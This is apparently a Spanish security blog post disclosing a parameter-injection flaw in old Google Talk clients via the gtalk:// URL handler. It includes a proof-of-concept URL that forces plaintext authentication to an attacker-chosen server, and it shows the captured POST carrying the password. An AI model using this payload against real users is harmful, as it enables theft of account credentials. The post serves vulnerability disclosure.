Inyección de parámetros en Google Talk

Desde hace tiempo sorprende que Google no haya actualizado su cliente Talk. Actualmente se pueden descargar dos versiones creadas en 2007: la versión 1.0.0.104 y la 1.0.0.105.

Recientemente se ha publicado una vulnerabilidad que podría permitir a un atacante obtener las credenciales del usuario mediante una dirección maliciosa.

En la primera versión 1.0.0.104 el cliente podría manejar direcciones "gtalk://" que podían lanzar el programa con una serie de parámetros especiales:
  • /nomutex: permite abrir más de un Gtalk.
  • /autostart: comprueba el registro para ver si Gtalk necesita ser iniciado. Si la opción "Iniciar automáticamente con Windows" no esta marcada, no lo arrancará.
  • /forcestart: Similar a /autostart, pero fuera el inicio de Gtalk.
  • /S upgrade: actualización de Google Talk.
  • /register: añade Google Talk en el registro, incluyendo el método 'GMail Compose'.
  • /checkupdate: comprueba nuevas versiones.
  • /plaintextauth: utiliza un mecanismo de autenticación plano en luega de GAIA de Google.
  • /nogaiaauth: desactiva el método de autenticación GAIA, igual que el anterior.
  • /factoryreset: resetea la configuración y la pone por defecto.
  • /gaiaserver servername.com: utiliza un servidor GAIA distinto para conectar Google Talk. Se creó para propósitos de depuración.
  • /mailto email@host.com: envía un correo con Gmail.
  • /diag: inicia Google Talk en modo diagnóstico.
  • /log: activa el log.
Este cliente 1.0.0.104 habilitaba el manejador de direcciones "gtalk://" añadiendo en el registro las siguientes entradas:

[HKEY_CLASSES_ROOT\gtalk]
"URL Protocol"=""
[HKEY_CLASSES_ROOT\gtalk\shell]
[HKEY_CLASSES_ROOT\gtalk\shell\open]
[HKEY_CLASSES_ROOT\gtalk\shell\open\command]
@="\"C:\\Archivos de programa\\Google\\Google Talk\\googletalk.exe\" \"/%1\""

El problema es que al instalar la versión 1.0.0.105 "encima" de la 1.0.0.104, es decir, sin utilizar el desinstalador correspondiente, no se eliminan estas entradas y es posible crear una URL maliciosa con estos parámetros especiales para que envíe las credenciales en texto plano al servidor que especifiquemos:

gtalk://mymail@gmail.com ???????????????????????????????????????????????????????"%20/plaintextauth%20/gaiaserver%20192.168.2.101:80%20/nomutex%20/
chat with me
Como veis en la PoC, si seguimos el enlace, las credenciales se envían a 192.168.201:80 en lugar de al servidor gaia de Google.
Escuchando en ese puerto o esnifando la red podremos ver la petición POST con la contraseña en claro:

POST /accounts/ClientAuth HTTP/1.1
Connection: Keep-Alive
Content-Length: [length]
Content-Type: application/x-www-form-urlencoded
Host: 192.168.2.101
User-Agent: Google Talk
Email=your%40gmail.com&Passwd=%70%61%73%73&PersistentCookie=false&source=googletalk

Si decodificamos la URL obtenemos:

user: yout@gmail.com
pass: pass

Además si el usuario ya está autenticado en GMail las credenciales se envían sin necesidad de que el usuario interaccione. Y, como veis, resultaría muy sencillo poner un enlace malicioso para obtener las credenciales de usuarios de Google Talk vulnerables....

Comentarios